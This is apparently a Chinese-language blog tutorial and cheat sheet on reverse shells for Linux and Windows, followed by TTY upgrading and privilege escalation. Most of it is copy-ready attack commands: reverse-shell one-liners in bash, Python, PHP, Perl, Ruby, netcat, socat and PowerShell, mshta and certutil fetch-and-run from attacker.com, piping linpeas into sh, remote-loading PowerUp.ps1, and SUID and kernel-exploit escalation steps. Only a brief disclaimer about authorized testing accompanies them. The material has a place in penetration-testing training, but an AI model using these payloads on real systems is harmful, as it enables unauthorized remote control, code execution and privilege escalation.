一、什么是反弹 Shell
反弹 Shell(Reverse Shell)是一种常见的渗透测试技术,指攻击者在目标机器上执行恶意代码,使目标主动向攻击者的监听端口发起连接,从而建立一个交互式命令行会话。与正向连接(Bind Shell)不同,反弹 Shell 可以轻松穿透防火墙和 NAT,因为目标机器主动向外发起连接通常不会被防火墙拦截。
1.1 反弹 Shell 与正向 Shell 对比
正向 Shell(Bind Shell)在目标机器上监听端口,攻击者主动连接。反弹 Shell 则是攻击者在本机监听,目标机器主动回连。前者的缺点在于目标机器的防火墙通常会阻止入站连接,而后者利用出站连接通常不会被严格限制的特点,成功率高得多。
1.2 基本原理
攻击者在自己的机器上使用 nc -lvnp [端口] 或 ncat -lvnp [端口] 开启一个监听端口,然后在目标机器上执行一个连接命令,将目标机器的 shell(/bin/bash 或 cmd.exe)重定向到攻击者的监听端口。其核心是利用文件描述符重定向(0>&1、>&1 等)将输入输出与网络 socket 绑定。
二、Linux 反弹 Shell
Linux 系统提供了多种编程语言和工具来实现反弹 Shell。以下是最常用的几种方式。
2.1 Bash 反弹 Shell
Bash 是最常见的 Linux Shell,它可以通过 /dev/tcp 伪设备文件直接建立 TCP 连接,无需任何外部工具。这是最经典也是最简洁的反弹 Shell 方式。
# 攻击者监听(本机执行)
nc -lvnp 4444
# 目标机器执行
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1
# 如果目标系统不支持 /dev/tcp(编译时被禁用),可尝试
exec 5<>/dev/tcp/192.168.1.100/4444; cat <&5 | while read line; do $line 2>&5 >&5; done2.2 Python 反弹 Shell
Python 标准库提供了 socket、subprocess 和 os 模块,可以快速实现反弹 Shell。Python 通常预装在大多数 Linux 发行版中,适用性很广。
# Python 反弹 Shell(一行命令)
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Python 后门脚本(适合写入文件执行)
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])2.3 PHP 反弹 Shell
PHP 反弹 Shell 常用于 Web 环境,当目标服务器运行 Web 服务且支持 PHP 时,可以通过上传或写入 PHP 文件执行反弹 Shell 命令。
# PHP 执行系统命令的反弹 Shell
php -r '$sock=fsockopen("192.168.1.100",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
# PHP 完整实现
php -r '
$sock = fsockopen("192.168.1.100", 4444);
shell_exec("/bin/bash -i <&4 >&4 2>&4");
'2.4 Perl 反弹 Shell
Perl 同样预装在绝大多数 Linux 系统中,利用其 Socket 模块可以方便地建立反弹连接。
# Perl 反弹 Shell
perl -e 'use Socket;$i="192.168.1.100";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'2.5 Ruby 反弹 Shell
Ruby 也提供了简洁的 Socket 编程接口,一行命令即可完成反弹连接。
# Ruby 反弹 Shell
ruby -rsocket -e 'c=TCPSocket.new("192.168.1.100","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# 另一种实现方式
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.100","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'2.6 Netcat(nc)反弹 Shell
Netcat 被称为"瑞士军刀",是反弹 Shell 中最经典的工具。但要注意不同版本 Netcat 的语法存在差异:传统版(-e 参数)和 OpenBSD 版(不支持 -e)。
# 攻击者监听
nc -lvnp 4444
# 目标机器(如果 nc 支持 -e 参数)
nc -e /bin/bash 192.168.1.100 4444
# 目标机器(如果 nc 不支持 -e 参数,使用管道方式)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.100 4444 >/tmp/f
# 使用 ncat(Nmap 套件中的增强版)
ncat --ssl 192.168.1.100 4444 -e /bin/bash2.7 Socat 反弹 Shell
Socat 是 Netcat 的增强替代品,功能更加丰富,支持 SSL 加密、PTS 分配等高级特性。它能够提供完全交互式的 TTY,这是普通 Netcat 做不到的。
# 攻击者监听
socat TCP-LISTEN:4444 -
# 目标机器
socat TCP:192.168.1.100:4444 EXEC:/bin/bash
# 使用 SSL 加密传输(攻击者生成证书)
# 先创建自签名证书:
# openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out cert.pem
# 攻击者监听(SSL 模式)
socat OPENSSL-LISTEN:4444,cert=cert.pem,verify=0 -
# 目标机器连接
socat OPENSSL:192.168.1.100:4444,verify=0 EXEC:/bin/bash三、Windows 反弹 Shell
Windows 环境下反弹 Shell 的实现方式与 Linux 有所不同,主要利用 PowerShell 和 Windows 内置工具。
3.1 PowerShell 反弹 Shell
PowerShell 是 Windows 系统中最强大的脚本环境,几乎所有现代 Windows 系统都预装了 PowerShell。它可以通过 .NET 类库建立 TCP 连接并执行命令。
# PowerShell 反弹 Shell(一行命令)
powershell -NoP -NonI -W Hidden -Exec Bypass -Command
'$c=New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);
$s=$c.GetStream();
[byte[]]$b=0..65535|%{0};
while(($i=$s.Read($b,0,$b.Length)) -ne 0){
$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);
$sb=(iex $d 2>&1 | Out-String );
$sb2=$sb + "PS " + (pwd).Path + "> ";
$sbt=([text.encoding]::ASCII).GetBytes($sb2);
$s.Write($sbt,0,$sbt.Length);
$s.Flush()
};
$c.Close()'3.2 PowerShell 单行精简版
对于需要在命令行中一次执行的情况,可以使用经过 Base64 编码的 PowerShell 命令,避免引号转义问题。
# 将 PowerShell 脚本转为 Base64 执行
# 编码命令示例
$Text = '$c=New-Object System.Net.Sockets.TCPClient("192.168.1.100",4444);...'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$Encoded = [Convert]::ToBase64String($Bytes)
# 输出后的编码字符串用于:
# powershell -Enc <Base64编码字符串>3.3 mshta 反弹 Shell
mshta.exe 是 Windows 的 HTML 应用程序宿主程序,可以执行 HTA(HTML Application)文件。通过 mshta 执行远程 HTA 脚本,可以在受限环境中绕过 AppLocker 等限制策略。
# 通过 mshta 执行远程 HTA 脚本
mshta http://attacker.com/evil.hta
# 攻击者提供的 evil.hta 内容结构
<HTML>
<head>
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
' 执行 PowerShell 反弹 Shell
WshShell.Run "powershell -NoP -NonI -W Hidden -Exec Bypass ...", 0, False
</script>
</head>
<body></body>
</HTML>3.4 certutil 下载 + 执行
Windows 内置的 certutil 工具除了证书管理功能外,还可以用于下载文件,配合执行反弹 Shell 脚本。
# 从远程下载并执行脚本
certutil -urlcache -f http://attacker.com/shell.bat shell.bat && shell.bat
# 清理缓存的证书文件
certutil -urlcache -f http://attacker.com/shell.bat delete四、交互式 Shell 获取
普通的反弹 Shell 往往不是完整交互式 TTY,无法使用 vi/vim、less、su、top 以及其他需要 PTY 的程序。以下方法可以将非交互式 Shell 提升为完全交互式 TTY。
4.1 Python PTY 模块
Python 的 pty 模块可以生成一个新的伪终端,将非交互式 Shell 升级为完整 TTY。这是最常用且最稳定的方法。
# 在已获得的反弹 Shell 中执行
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 如果 python3 不存在,尝试 python
python -c 'import pty; pty.spawn("/bin/bash")'
# 按下 Ctrl+Z 回到攻击者终端,然后设置终端参数
stty raw -echo; fg
# 最后重置终端环境
reset
export SHELL=/bin/bash
export TERM=xterm-256color4.2 script 命令
Linux 的 script 命令可以记录终端会话,同时也会生成一个新的 PTY。这是在不使用 Python 的情况下的好选择。
# 在反弹 Shell 中执行
script /dev/null -c /bin/bash
# 之后同样使用 Ctrl+Z + stty 组合
stty raw -echo; fg
reset
export SHELL=/bin/bash
export TERM=xterm4.3 Socat 直接获取完整 TTY
Socat 的 exec 命令可以分配 PTY,这是获得完全交互式 Shell 的最直接方式。如果目标系统上安装了 Socat,优先使用该方法。
# 攻击者监听
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444
# 目标机器执行
socat exec:'bash -li',pty,stderr,setsid,sigint,sane TCP:192.168.1.100:44444.4 Expect 工具
Expect 是一个自动化交互式应用的工具,也可以用于在反弹 Shell 中生成更加稳定的交互式环境。
# 使用 expect 生成交互式 Shell
expect -c '
spawn /bin/bash
interact
'4.5 stty 终端尺寸设置
在升级到交互式 Shell 后,可能会出现终端尺寸不匹配导致的显示异常。正确的做法是在获得交互式 Shell 后设置 stty 行数和列数。
# 在攻击者本机查看当前终端尺寸
stty -a | grep rows
# 在反弹 Shell 中设置对应尺寸
stty rows 50 cols 120五、提权辅助
获得初始 Shell 后,下一步通常是进行提权(Privilege Escalation)操作。以下工具和方法可以帮助自动化发现提权路径。
5.1 LinEnum
LinEnum 是 Linux 环境下最受欢迎的枚举脚本之一,它会自动检查内核版本、SUID 文件、可写文件、计划任务、环境变量等信息,并给出提权建议。
# 下载并执行 LinEnum(通过反弹 Shell)
wget http://attacker.com/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
# 或者通过 curl 下载
curl -O http://attacker.com/LinEnum.sh
bash LinEnum.sh
# 参数说明
# -t 关键内容生成时序报告
# -r 输出报告
# -e 导出所有有价值的信息
# -s 快速模式(只检查关键项)5.2 LinPEAS
LinPEAS(Linux Privilege Escalation Awesome Script)是功能更全面的提权辅助脚本,不仅包含 LinEnum 的所有功能,还会搜索更多提权向量,如过期服务、CVE 匹配、Docker/LXC 逃逸等。
# 下载 LinPEAS
curl -L http://attacker.com/linpeas.sh | sh
# 或者下载后执行
wget http://attacker.com/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
# 输出颜色说明
# 红色/粉红:高优先级漏洞(极有可能成功提权)
# 黄色/棕色:中等优先级
# 青色/蓝色:低优先级信息
# 绿色:系统信息类5.3 SUID 提权
SUID(Set User ID)是 Linux 系统中的一个特殊权限位。当一个可执行文件设置了 SUID 位时,任何用户执行该文件都会以文件所有者的权限运行。如果发现 SUID 程序存在漏洞或可以被利用,就可以实现提权。
# 查找所有已设置 SUID 位的可执行文件
find / -perm -4000 2>/dev/null
# 查找 SGID 位文件
find / -perm -2000 2>/dev/null
# 查找同时设置了 SUID 和 SGID 的文件
find / -perm -6000 2>/dev/null
# 常见可提权 SUID 程序
# /usr/bin/pkexec → CVE-2021-4034 (PwnKit)
# /usr/bin/sudo → CVE-2019-14287, CVE-2021-3156
# /usr/bin/passwd → 标准授权 SUID
# /usr/bin/gpasswd → 标准授权 SUID
# /usr/bin/newgrp → 标准授权 SUID
# 检查特定 SUID 二进制文件版本
ls -la /usr/bin/pkexec
/usr/bin/pkexec --version
# 使用 GTFOBins 查询可提权命令(如果存在 GTFO 对应的 SUID 文件)
# 例如 SUID 下的 find 可以被利用:
/usr/bin/find . -exec /bin/sh \; -quit5.4 Windows 提权辅助
Windows 环境下的提权辅助脚本主要调查系统信息、补丁级别、服务权限、AlwaysInstallElevated、SeImpersonatePrivilege 等配置。
# 使用 PowerShell 快速收集系统信息
systeminfo
wmic os get Caption,CSDVersion,OSArchitecture,Version
wmic qfe get Caption,Description,HotFixID,InstalledOn
# 查看当前用户权限
whoami /all
whoami /priv
# PowerUp.ps1(PowerShell 提权辅助脚本)
# 在反弹 Shell 中通过 PowerShell 远程加载
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/PowerUp.ps1')
Invoke-AllChecks
# 检查 AlwaysInstallElevated 策略
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 查看可写但会被系统以更高权限执行的服务
accesschk.exe -uwcqv "Authenticated Users" *
icacls "C:\Program Files\SomeService"5.5 内核漏洞提权
无论是 Linux 还是 Windows,内核漏洞提权都是最直接的提权方式。在获得初始 Shell 后,通过比对系统内核版本与已知 CVE 漏洞数据库,寻找对应的利用 EXP。
# Linux 内核版本查询
uname -a
cat /proc/version
cat /etc/issue
# 使用 linux-exploit-suggester 脚本自动匹配
wget http://attacker.com/linux-exploit-suggester.sh
bash linux-exploit-suggester.sh
# Windows 系统信息收集
# 通过 systeminfo 信息对比 Watson 项目数据库
# 常见 Windows 提权漏洞(需根据具体版本选择EXP)
# CVE-2021-1732 → Win10 本地提权
# CVE-2020-0787 → Windows Background Intelligent Transfer Service
# CVE-2019-0808 → Win32k.sys 空指针解引用
# CVE-2018-8120 → Win7/Win2008 Win32k 提权六、总结
反弹 Shell 是渗透测试和红队评估中最核心的技术之一。掌握多种语言的反弹 Shell 方法、理解交互式 TTY 的升级原理以及熟练运用提权辅助工具,是在实战中取得进展的关键能力。
需要注意的是,所有上述技术仅应在获得合法授权的安全测试中使用。未经授权的渗透测试行为违反法律法规,请务必遵守相关法律法规和道德准则。
反弹Shell全攻略:Linux与Windows实战技术详解
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法